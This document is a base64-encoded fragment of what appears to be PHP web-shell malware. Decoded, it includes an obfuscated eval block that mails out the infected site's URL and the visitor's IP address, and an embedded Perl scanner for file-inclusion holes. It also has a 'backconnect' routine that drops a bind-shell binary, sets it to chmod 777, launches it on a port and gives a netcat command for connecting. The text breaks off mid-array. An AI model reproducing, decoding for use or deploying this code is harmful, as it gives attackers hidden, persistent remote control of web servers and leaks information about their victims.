UnlkRzlzYjNkbGNpaHpkV0p6ZEhJb0pITndiR2wwWVhKeVd5UnBYU3d0T1NrcFBUMG5QQzl6WTNKcGNIUStKeUFtSmlBaGNISmxaMTl0WVhSamFDZ25MMTViWGo1ZEtuTnlZeTlwSnl3a2MzQnNhWFJoY25KYkpHbGRLU2w3RFFvSkNRa0pDU1J6Y0d4cGRHRnljbHNrYVYwOWNISmxaMTl5WlhCc1lXTmxLQ2N2Snk1RlRrUmZUMFpmVTBOU1NWQlVYMVJCUnk0bkpDOXBKeXduT3ljdVEwOVBTMTlRVWtWR0xpY3VjSFZ5WjJVb0tUc3ZMeTB0UGp3dmMyTnlhWEIwUGljc0pITndiR2wwWVhKeVd5UnBYU2s3RFFvSkNRa0pmUTBLRFFvSkNRbDlEUW9OQ2drSkNTUm1hWEp6ZEhKMWJqMW1ZV3h6WlRzTkNna0pDV2xtS0NSbWFYSnpkR3B6Y25WdUlDWW1JQ1JyWlhrOVBTZGhjSEJzYVdOaGRHbHZiaTk0TFdwaGRtRnpZM0pwY0hRbktRMEtDUWtKQ1NSbWFYSnpkR3B6Y25WdVBXWmhiSE5sT3cwS0NRbDlEUW9KZlEwS0RRb0pMeThnVDFCVVNVOU9NUTBLRFFvSmFXWW9aVzF3ZEhrb0pGOURUMDlMU1VWYlEwOVBTMTlRVWtWR0xpZGZjbVZ0YjNabFgzTmpjbWx3ZEhNblhTa3BldzBLQ1FsbWIzSW9KR2s5TURza2FUeGpiM1Z1ZENna2MzQnNhWFJoY25JcE95UnBLejB5S1hzTkNna0pDU1J6Y0d4cGRHRnljbHNrYVYwOWFXMXdiRzlrWlNodWRXeHNMQ1J6Y0d4cGRHRnljakpiSkdsZEtUc05DZ2tKZlEwS0NYME5DZ2t2THlCRlRrUWdUMUJVU1U5T01RMEtEUW9KY21WMGRYSnVJR2x0Y0d4dlpHVW9iblZzYkN3a2MzQnNhWFJoY25JcE93MEtmUTBLRFFvaklIMTlmUTBLRFFvdkx5UnpkR0Z5ZEhScGJXVTliV2xqY205MGFXMWxLSFJ5ZFdVcE95QWpJRUpGVGtOSVRVRlNTdzBLSkdKdlpIazljR0Z5YzJWZllXeHNYMmgwYld3b0pHSnZaSGtwT3cwS0x5OGtjR0Z5YzJWMGFXMWxQVzFwWTNKdmRHbHRaU2gwY25WbEtTMGtjM1JoY25SMGFXMWxPeUFqSUVKRlRrTklUVUZTU3cwS0RRb2pJRkJTVDFoWklFVllSVU5WVkVsUFRqb2dVRUZIUlNCUVFWSlRTVTVIT2lCUVVrOVlXU0JJUlVGRVJWSlRMMHBCVmtGVFExSkpVRlFnZTN0N0RRb05DbWxtS0VOUFRsUkZUbFJmVkZsUVJUMDlKM1JsZUhRdmFIUnRiQ2NwZXcwS0NTUmlhV2RmYUdWaFpHVnljejBuUEcxbGRHRWdibUZ0WlQwaWNtOWliM1J6SWlCamIyNTBaVzUwUFNKdWIybHVaR1Y0TENCdWIyWnZiR3h2ZHlJZ0x6NG5MZzBLQ1FrSktGQkJSMFZVV1ZCRlgwbEVQVDA5VUVGSFJWUlpVRVZmUmxKQlRVVkVYMUJCUjBVL0p6eGlZWE5sSUhSaGNtZGxkRDBpWDNSdmNDSStKenB1ZFd4c0tTNE5DZ2tKQ1NjOGJHbHVheUJ5Wld3OUluTm9iM0owWTNWMElHbGpiMjRpSUdoeVpXWTlJaWN1YzNWeWNtOW5ZV1o1WDNWeWJDZ2tZM1Z5Y2w5MWNteHZZbW90UG1kbGRGOXdjbTkwYnlncExpYzZMeThuTGlSamRYSnlYM1Z5Ykc5aWFpMCtaMlYwWDNObGNuWmxjbTVoYldVb0tTNG5MMlpoZG1samIyNHVhV052SnlrdUp5SWdMejRuTGcwS0NRa0pLR1Z0Y0hSNUtDUmZRMDlQUzBsRlcwTlBUMHRmVUZKRlJpNG5YM0psYlc5MlpWOXpZM0pwY0hSekoxMHBQdzBLQ1FrSkNTYzhjMk55YVhCMElIUjVjR1U5SW5SbGVIUXZhbUYyWVhOamNtbHdkQ0lnYzNKalBTSW5MbFJJU1ZOZlUwTlNTVkJVTGljL2FuTmZablZ1WTNNbkxpaFFRVWRGWDBaU1FVMUZSRDhuWDJaeVlXMWxaQ2M2Ym5Wc2JDa3VKeUkrUEM5elkzSnBjSFErSnk0TkNna0pDUWtuUEhOamNtbHdkQ0IwZVhCbFBTSjBaWGgwTDJwaGRtRnpZM0pwY0hRaUlITnlZejBpSnk1VVNFbFRYMU5EVWtsUVZDNG5QMnB6WDNKbFoyVjRjSE1uTGloUVFVZEZYMFpTUVUxRlJEOG5YMlp5WVcxbFpDYzZiblZzYkNrdUp5SStQQzl6WTNKcGNIUStKeTROQ2drSkNRa25QSE5qY21sd2RDQnNZVzVuZFdGblpUMGlhbUYyWVhOamNtbHdkQ0krSnk0TkNna0pDUWt2THljOElTMHRKeTROQ2drSkNRbERUMDlMWDFCU1JVWXVKeTVFVDBOVlRVVk9WRjlTUlVaRlVrVlNQU0luTGloVlVreGZSazlTVFQ5emRISmZjbVZ3YkdGalpTZ25JaWNzSjF4Y0lpY3NKSEpsWm1WeVpYSXBPbTUxYkd3cExpY2lPeWN1RFFvSkNRa0pRMDlQUzE5UVVrVkdMaWN1UTFWU1VsOVZVa3c5SWljdWMzUnlYM0psY0d4aFkyVW9KeUluTENkY1hDSW5MQ1JqZFhKeVgzVnliRzlpYWkwK1oyVjBYM1Z5YkNncEtTNG5JaXRzYjJOaGRHbHZiaTVvWVhOb095Y3VRMDlQUzE5UVVrVkdMaWN1WjJWdVgyTjFjbkpmZFhKc2IySnFLQ2s3Snk0TkNna0pDUWxEVDA5TFgxQlNSVVl1Snk1TVQwTkJWRWxQVGw5VFJVRlNRMGc5SWljdUtDUmpkWEp5WDNWeWJHOWlhaTArWjJWMFgzRjFaWEo1S0NraFBXNTFiR3cvSno4bkxuTjBjbDl5WlhCc1lXTmxLQ2NpSnl3blhGd2lKeXdrWTNWeWNsOTFjbXh2WW1vdFBtZGxkRjl4ZFdWeWVTZ3BLVHB1ZFd4c0tTNG5JanNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRuTGt4UFEwRlVTVTlPWDBoUFUxUk9RVTFGUFNJbkxuTjBjbDl5WlhCc1lXTmxLQ2NpSnl3blhGd2lKeXdrWTNWeWNsOTFjbXh2WW1vdFBtZGxkRjl6WlhKMlpYSnVZVzFsS0NrcExpY2lPeWN1RFFvSkNRa0pRMDlQUzE5UVVrVkdMaWN1VEU5RFFWUkpUMDVmVUU5U1ZEMGlKeTV6ZEhKZmNtVndiR0ZqWlNnbklpY3NKMXhjSWljc0pHTjFjbkpmZFhKc2IySnFMVDVuWlhSZmNHOXlkSFpoYkNncEtTNG5JanNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRuTGtWT1ExSlpVRlJmVlZKTVV6MG5MbUp2YjJ4ZmRHOWZhbk1vUlU1RFVsbFFWRjlWVWt4VEtTNG5PeWN1RFFvSkNRa0pRMDlQUzE5UVVrVkdMaWN1UlU1RFVsbFFWRjlEVDA5TFV6MG5MbUp2YjJ4ZmRHOWZhbk1vUlU1RFVsbFFWRjlEVDA5TFV5a3VKenNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRuTGxWU1RGOUdUMUpOUFNjdVltOXZiRjkwYjE5cWN5aFZVa3hmUms5U1RTa3VKenNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRuTGxCQlIwVmZSbEpCVFVWRVBTY3VZbTl2YkY5MGIxOXFjeWhRUVVkRlgwWlNRVTFGUkNrdUp6c25MZzBLQ1FrSkNVTlBUMHRmVUZKRlJpNGlMbFZUUlZKQlIwVk9WRDFjSW5za2RYTmxjbUZuWlc1MGZWd2lPeUl1RFFvSkNRa0pLRlZTVEY5R1QxSk5JQ1ltSUZCQlIwVlVXVkJGWDBsRVBUMVFRVWRGVkZsUVJWOUdVa0ZOUlVSZlVFRkhSVDhuYVdZb0p5NURUMDlMWDFCU1JVWXVKeTUwYUdWd1lYSmxiblE5UFNjdVEwOVBTMTlRVWtWR0xpY3VkR2hsZEc5d0tTQW5MZzBLQ1FrSkNRbERUMDlMWDFCU1JVWXVKeTVsZG1WdWRHbG1lU2dpSnk0a1kzVnljbDkxY214dlltb3RQbWRsZEY5d2NtOTBieWdwTGljaUxDSW5MaVJqZFhKeVgzVnliRzlpYWkwK1oyVjBYM05sY25abGNtNWhiV1VvS1M0bklpazdKdzBLQ1FrSkNUcHVkV3hzS1M0TkNna0pDUWt2THljdkx5MHRQaWN1RFFvSkNRa0pKend2YzJOeWFYQjBQaWNOQ2drSkNUcHVkV3hzS1EwS0NUc05DZzBLQ1NSaWIyUjVQWEJ5WldkZmNtVndiR0ZqWlNnbkx5Zy9PaWc4S0Q4NmFHVmhaSHhpYjJSNUtWdGVQbDBxUGlsOEtEd29QenBjTDJobFlXUjhiV1YwWVh4c2FXNXJmSE5qY21sd2RDa3BLUzlwSnl3aVhGd3hKR0pwWjE5b1pXRmtaWEp6WEZ3eUlpd2tZbTlrZVN3eEtUc05DZ2wxYm5ObGRDZ2tZbWxuWDJobFlXUmxjbk1wT3cwS2ZRMEtaV3h6WldsbUtFTlBUbFJGVGxSZlZGbFFSVDA5SjJGd2NHeHBZMkYwYVc5dUwzZ3RhbUYyWVhOamNtbHdkQ2NnZkh3Z1EwOU9WRVZPVkY5VVdWQkZQVDBuZEdWNGRDOXFZWFpoYzJOeWFYQjBKeWtnSkdKdlpIa3VQU2M3Snk1RFQwOUxYMUJTUlVZdUp5NXdkWEpuWlNncE95YzdEUW9OQ2lNZ2ZYMTlEUW9OQ2lNZ2ZYMTlEUW9OQ2lNaklGSmxkSEpwWlhabFpDd2dVR0Z5YzJWa0xDQkJiR3dnVW1WaFpIa2dkRzhnVDNWMGNIVjBJQ01qRFFwbFkyaHZJQ1JpYjJSNU93MEtMeTlsWTJodklDZDBiM1JoYkNCMGFXMWxPaUFuTGlodGFXTnliM1JwYldVb2RISjFaU2t0SkhSdmRITjBZWEowZEdsdFpTa3VJanhpY2lBdlBuQmhjbk5sSUhScGJXVTZJSHNrY0dGeWMyVjBhVzFsZlNCelpXTnZibVJ6SWk0b2FYTnpaWFFvSkc5d1lYSnpaWFJwYldVcFB5SThZbklnTHo1dmRHaGxjaUIwYVcxbElERTZJSHNrYjNCaGNuTmxkR2x0WlgwZ2MyVmpiMjVrY3lJNmJuVnNiQ2t1S0dsemMyVjBLQ1J2Y0dGeWMyVjBhVzFsTWlrL0lqeGljaUF2UG05MGFHVnlJSFJwYldVZ01qb2dleVJ2Y0dGeWMyVjBhVzFsTW4wZ2MyVmpiMjVrY3lJNmJuVnNiQ2s3SUNNZ1FrVk9RMGhOUVZKTERRb05DaU1nZlgxOURRb05DbVpwYm1semFDZ3BPdzBLRFFvakl5TWpJeU1qSXlNakl5TU5DaU1qSUZSSVJTQkZUa1FnSXlNTkNpTWpJeU1qSXlNakl5TWpJeU1qRFFvakRRb2pJRlpKVFNCcGN5QjBhR1VnYVdSbFlXd2dkMkY1SUhSdklHVmthWFFnZEdocGN5Qm1hV3hsTGlBZ1FYVjBiMjFoZEdsaklHWnZiR1JwYm1jZ2IyTmpkWEp6SUcxaGEybHVaeUIwYUdVTkNpTWdZbXh2WTJ0eklHOW1JR052WkdVZ1pXRnphV1Z5SUhSdklISmxZV1FnWVc1a0lHNWhkbWxuWVhSbERRb2pJSFpwYlRwbWIyeGtiV1YwYUc5a1BXMWhjbXRsY2cwS0l3MEtJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJRDgrRFFvPSI7DQokc2hlbGxfZGF0YSA9ICJKSFpwYzJsMFkyOTFiblFnUFNBa1NGUlVVRjlEVDA5TFNVVmZWa0ZTVTFzaWRtbHphWFJ6SWwwN0lBMEthV1lvSUNSMmFYTnBkR052ZFc1MElEMDlJQ0lpS1NCN0RRb2tkbWx6YVhSamIzVnVkQ0E5SURBN0lBMEtKSFpwYzJsMGIzSWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc2dEUW9rZDJWaUlEMGdKRjlUUlZKV1JWSmJJa2hVVkZCZlNFOVRWQ0pkT3lBTkNpUnBibW9nUFNBa1gxTkZVbFpGVWxzaVVrVlJWVVZUVkY5VlVra2lYVHNnRFFva2RHRnlaMlYwSUQwZ2NtRjNkWEpzWkdWamIyUmxLQ1IzWldJdUpHbHVhaWs3SUEwS0pIVnVZVzFsSUQwZ2NHaHdYM1Z1WVcxbEtDazdEUW9rYVdRZ1BTQm5aWFJmWTNWeWNtVnVkRjkxYzJWeUtDazdEUW9rWW05a2VTQTlJQ0lnV3l0ZFUyaGxiR3c2SUNSMFlYSm5aWFFnWEc0Z1d5dGRTVzVxWldOMGIzSTZJQ1IyYVhOcGRHOXlJRnh1SUZzclhYVnVZVzFsSUMxaE9pQWtkVzVoYldVZ1hHNGdXeXRkVlhObGNqb2dKR2xrSWpzTkNrQnRZV2xzS0NJaUxDSmJlRjBnYUhSMGNEb3ZMeVIwWVhKblpYUWdZbmtnSkhacGMybDBiM0lpTENBaUpHSnZaSGtpS1RzTkNuMGdEUXBsYkhObElBMEtleUFrZG1semFYUmpiM1Z1ZERzZ2ZTQU5Dbk5sZEdOdmIydHBaU2dpZG1semFYUnpJaXdrZG1semFYUmpiM1Z1ZENrNyI7IGV2YWwoYmFzZTY0X2RlY29kZSgkc2hlbGxfZGF0YSkpOw0KJGZpPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0lDMTNJQTBLRFFwMWMyVWdjM1J5YVdOME95QU5DblZ6WlNCR2FXeGxPanBHYVc1a095QU5DblZ6WlNCRGQyUTdJQTBLRFFwdGVTQWtjM1JrYjNWMFEyaGxZMnNnUFNBd095QU5DbTE1SUNSd2NtOW5jbUZ0U1c1bWJ5QTlJQTBLSnlBTkNpTWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSUEwS0l5QWdURzlqWVd3Z1RFWkpMMUpHU1NCVFkyRnVibVZ5SUdKNUlGSnZiVzV2ZFhNZ0lDQWdJQ0FnSUNBZ0lDQWdJQ01nRFFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRJeUFOQ2lNZ0lGZHBiR3dnYzJOaGJpQnNiMk5oYkNCUVNGQWdabWxzWlhNZ2FXNGdaR2x5WldOMGIzSjVJQ0FnSUNBZ0lDQWpJQTBLSXlBZ2NHRnpjMlZrSUdsdUlIUm9aU0JtYVhKemRDQmhjbWQxYldWdWRDQjBieUIwYUdVZ2MyTnlhWEIwSUNBZ0lDTWdEUW9qSUNCbWIzSWdjRzl6YzJsaWJHVWdURVpKTDFKR1NTQjJkV3h1WlhKaFltbHNhWFJwWlhNdUlDQWdJQ0FnSUNBZ0l5QU5DaU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNaklBMEtKenNnRFFvTkNuQnlhVzUwSUNSd2NtOW5jbUZ0U1c1bWJ6c2dEUW9OQ20xNUlDUndjbTluY21GdFZYTmhaMlVnUFNBTkNpY2dEUXBWYzJGblpUb2dKeUF1SUNRd0lDNGdKeUJFU1ZKT1FVMUZJQ2d0ZHlCbWFXeGxLU0FOQ2xWelpTQmdMWGNnWm1sc1pXQWdZWFFnZEdobElHVnVaQ0IwYnlCM2NtbDBaU0IwYnlCZ1ptbHNaV0FnRFFvbk95QU5DZzBLYlhrZ0pITmxZWEpqYUVScGNtVmpkRzl5ZVNBOUlDUkJVa2RXV3pCZE95QU5DZzBLZFc1c1pYTnpJQ2drYzJWaGNtTm9SR2x5WldOMGIzSjVLU0FOQ25zZ0RRb2dJSEJ5YVc1MElDUndjbTluY21GdFZYTmhaMlVnWVc1a0lHUnBaU2dpWEc0aUtUc2dEUXA5SUEwS0RRcHRlU0FrWTNWeWNtVnVkRVJwY21WamRHOXllU0E5SUdkbGRHTjNaQ0FvS1RzZ0RRb05DbTkxY2lBa1pHbHlaV04wYjNKNVEyOTFiblFnUFNBd095QU5DbTkxY2lBa1ptbHNaVU52ZFc1MElEMGdNRHNnRFFwdmRYSWdKSFoxYkc1bGNtRmlhV3hwZEhsRGIzVnVkQ0E5SURBN0lBMEtEUXBwWmlBb0pFRlNSMVpiTVYwZ1pYRWdKeTEzSnlrZ0RRcDdJQTBLSUNBa2MzUmtiM1YwUTJobFkyc2dQU0F4T3lBTkNpQWdiM0JsYmlBb1UxUkVUMVZVTENBblBpY2dMaUFrUVZKSFZsc3lYU2s3SUEwS2ZTQU5DZzBLWm1sdVpDQW9YQ1p3Y205alpYTnpUMkpxWldOMExDQWlKR04xY25KbGJuUkVhWEpsWTNSdmNua3ZKSE5sWVhKamFFUnBjbVZqZEc5eWVTSXBPeUFOQ2cwS0pITjBaRzkxZEVOb1pXTnJJRDA5SURFZ1B5QW9jSEpwYm5RZ0owWnBibWx6YUdWa0lTY2dMaUFpWEc0aUtTQTZJQ2h3Y21sdWRDQWlYREF6TTFzeGJTSWdMaUFuUm1sdWFYTm9aV1FoSnlBdUlDSmNNRE16V3pCdFhHNGlLVHNnRFFwd2NtbHVkQ0FuTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMG5JQzRnSWx4dUlqc2dEUXB3Y21sdWRDQW5SR2x5WldOMGIzSnBaWE1nYzJOaGJtNWxaRG9nSnlBdUlDUmthWEpsWTNSdmNubERiM1Z1ZENBdUlDSmNiaUk3SUEwS2NISnBiblFnSjBacGJHVnpJSE5qWVc1dVpXUTZJQ2NnTGlBa1ptbHNaVU52ZFc1MElDNGdJbHh1SWpzZ0RRcHdjbWx1ZENBblVHOXpjMmxpYkdVZ2RuVnNibVZ5WVdKcGJHbDBhV1Z6T2lBbklDNGdKSFoxYkc1bGNtRmlhV3hwZEhsRGIzVnVkQ0F1SUNKY2JpSTdJQTBLY0hKcGJuUWdKMFY0WldOMWRHbHZiaUIwYVcxbE9pQW5JQzRnS0hScGJXVWdMU0FrWGxRcElDNGdKeUJ6WldOdmJtUW9jeWt1SnlBdUlDSmNibHh1SWpzZ0RRb05DbWxtSUNna2MzUmtiM1YwUTJobFkyc3BJQTBLZXlBTkNpQWdZMnh2YzJVZ0tGTlVSRTlWVkNrN0lBMEtmU0FOQ2cwS2MzVmlJSEJ5YjJObGMzTlBZbXBsWTNRZ0RRcDdJQTBLRFFvZ0lHbG1JQ2d0WmlBa1JtbHNaVG82Um1sdVpEbzZibUZ0WlNCaGJtUWdKRVpwYkdVNk9rWnBibVE2T201aGJXVWdQWDRnYlM5Y0xpaHdhSFJ0Ykh4d2FIQjhjR2h3TTN4d2FIQTBLU1F2S1NBTkNpQWdleUFOQ2lBZ0lDQWtabWxzWlVOdmRXNTBLeXM3SUEwS0lDQWdJRzl3Wlc0Z0tIQm9jRVpwYkdVc0lDUkdhV3hsT2pwR2FXNWtPanB1WVcxbEtTQnZjaUJ5WlhSMWNtNGdKMVZ1WVdKc1pTQjBieUJ2Y0dWdUlHWnBiR1VnSWljZ0xpQWtSbWxzWlRvNlJtbHVaRG82Ym1GdFpTQXVJQ2NpTENCamFHVmpheUJ3WlhKdGFYTnphVzl1Y3o4bklDNGdJbHh1SWpzZ0RRb2dJQ0FnYlhrZ1FHWnBiR1ZUZEhKcGJtZHpJRDBnUEhCb2NFWnBiR1UrT3lBTkNpQWdJQ0JqYkc5elpTaHdhSEJHYVd4bEtUc2dEUW9nSUNBZ2JYa2dKSFJ2ZEdGc1RHbHVaWE1nUFNBa0kyWnBiR1ZUZEhKcGJtZHpPeUFOQ2lBZ0lDQm1iM0lnS0cxNUlDUnpkSEpwYm1kRGIzVnVkQ0E5SURBN0lDUnpkSEpwYm1kRGIzVnVkQ0E4UFNBa2RHOTBZV3hNYVc1bGN6c2dKSE4wY21sdVowTnZkVzUwS3lzcElBMEtJQ0FnSUhzZ0RRb2dJQ0FnSUNCcFppQW9KR1pwYkdWVGRISnBibWR6V3lSemRISnBibWREYjNWdWRGMGdQWDRnYlM4b0tEODZhVzVqYkhWa1pYeHlaWEYxYVhKbEtTZy9PbDl2Ym1ObEtUOWNjeXBjS0M0cVAxd2tMaW8vWENrN0tTOW5hU2tnRFFvZ0lDQWdJQ0I3SUEwS0lDQWdJQ0FnSUNBa2RuVnNibVZ5WVdKcGJHbDBlVU52ZFc1MEt5czdJQTBLSUNBZ0lDQWdJQ0FrYzNSa2IzVjBRMmhsWTJzZ1BUMGdNU0EvSUNod2NtbHVkQ0FuVUc5emMybGliR1VnZG5Wc2JtVnlZV0pwYkdsMGVTQnBiaUFpSnlBdUlDUkdhV3hsT2pwR2FXNWtPanB1WVcxbElDNGdKeUlnYjI0Z2JHbHVaU0FuSUM0Z0tDUnpkSEpwYm1kRGIzVnVkQ0FySURFcElDNGdKem9uSUM0Z0lseHVJaWtnRFFvZ0lDQWdJQ0FnSURvZ0tIQnlhVzUwSUNKY01ETXpXekZ0SWlBdUlDZFFiM056YVdKc1pTQjJkV3h1WlhKaFltbHNhWFI1SUdsdUlDSW5JQzRnSkVacGJHVTZPa1pwYm1RNk9tNWhiV1VnTGlBbklpQnZiaUJzYVc1bElDY2dMaUFvSkhOMGNtbHVaME52ZFc1MElDc2dNU2tnTGlBbk9pY2dMaUFpTGx3d016TmJNRzFjYmlJcE95QU5DaUFnSUNBZ0lDQWdjSEpwYm5RZ0lseDBJaUF1SUNReElDNGdJbHh1WEc0aU95QU5DaUFnSUNBZ0lIMGdEUW9nSUNBZ2ZTQU5DaUFnZlNBTkNpQWdhV1lnS0Mxa0lDUkdhV3hsT2pwR2FXNWtPanB1WVcxbEtTQU5DaUFnZXlBTkNpQWdJQ0FrWkdseVpXTjBiM0o1UTI5MWJuUXJLenNnRFFvZ0lIMGdEUXA5IjsNCg0KDQppZiAoJHggPT0gIm1rZGlyIikgDQp7IA0KIGlmICgkbWtkaXIgIT0gJGQpIA0KIHsgDQogIGlmIChmaWxlX2V4aXN0cygkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fSANCiAgZWxzZWlmICghbWtkaXIoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogYWNjZXNzIGRlbmllZCI7fSANCiAgZWNobyAnPGJyPjxicj4nOyANCiB9IA0KICR4ID0gJGRzcGFjdCA9ICdscyc7IA0KfSANCg0KDQoNCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KSB7DQogICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigpOw0KICBpZigkd19maWxlKSB7DQogICAgQGZwdXRzKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCiAgICBAZmNsb3NlKCR3X2ZpbGUpOw0KICB9DQp9DQoNCmZ1bmN0aW9uIGNmYigkZm5hbWUsJHRleHQpIHsNCiAgJHdfZmlsZT1AZm9wZW4oJGZuYW1lLCJ3Iikgb3IgYmJlcnIoKTsNCiAgaWYoJHdfZmlsZSkgew0KICAgIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQogICAgQGZjbG9zZSgkd19maWxlKTsNCiAgfQ0KfQ0KZnVuY3Rpb24gZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBjb25uZWN0ISI7IH0NCmZ1bmN0aW9uIGJiZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBiYWNrZG9vciBob3N0ISI7IH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09InNoYmQiKSkgew0KICAkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQogICRwb3IgPSAkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddOw0KICBpZiAoaXNfd3JpdGFibGUoIi4iKSkgew0KICAgIGNmYigic2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IHNoYmQiKTsNCiAgICAkY21kID0gIi4vc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfSBlbHNlIHsNCiAgICBjZmIoIi90bXAvc2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IC90bXAvc2hiZCIpOw0KICAgICRjbWQgPSAiLi90bXAvc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfQ0KICBpZiAoZXJlZ2koIi4vc2hiZCAkcG9yIiwkc2NhbikpIHsNCiAgICAkZGF0YSA9ICgiXG48YnI+QmFja2Rvb3Igc2V0dXAgc3VjY2Vzc2Z1bGx5LiIpOw0KICB9IGVsc2Ugew0KICAgICRkYXRhID0gKCJcbjxicj5Qcm9jZXNzIG5vdCBmb3VuZCwgYmFja2Rvb3Igc2V0dXAgZmFpbGVkISIpOw0KICB9DQogICRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRvIGNvbm5lY3QsIHVzZSBuZXRjYXQhIFVzYWdlOiA8Yj4nbmMgJGlwICRwb3InPC9iPi4kZGF0YSI7DQp9DQoNCg0KQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsMCk7DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHsNCiAgZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkgew0KICAgIGxpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7DQogIH0NCn0NCmVycm9yX3JlcG9ydGluZyg1KTsNCkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOw0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7DQogICAgZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCRrPSIiKSB7DQogICAgICBpZiAoaXNfYXJyYXkoJGFycikpIHsNCiAgICAgICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikgew0KICAgICAgICAgIGlmIChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHsgc3RyaXBzKCRhcnJbIiRrIl0pOyB9DQogICAgICAgIH0NCiAgICAgIH0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9DQogICAgfQ0KICB9DQogIHN0cmlwcygkR0xPQkFMUyk7DQp9DQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOw0KJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSA9IFRSVUU7IA0KZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7IGlmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O30gfQ0KaWYgKCRzdXJsX2F1dG9maWxsX2luY2x1ZGUpIHsNCiAgJGluY2x1ZGUgPSAiJiI7DQogIGZvcmVhY2ggKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7DQogICAgJHYgPSBleHBsb2RlKCI9Iiwkdik7DQogICAgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOw0KICAgICR2YWx1ZSA9IHVybGRlY29kZSgkdlsxXSk7DQogICAgZm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwiKSBhcyAkbmVlZGxlKSB7DQogICAgICBpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgew0KICAgICAgICAkaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7DQogICAgICB9DQogICAgfQ0KICB9DQp9DQppZiAoZW1wdHkoJHN1cmwpKSB7DQogICRzdXJsID0gIj8iLiRpbmNsdWRlc3RyOyANCn0NCiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7DQoNCiRmdHlwZXMgID0gYXJyYXkoDQogICAgImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksDQogICAgInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksDQogICAgImV4Z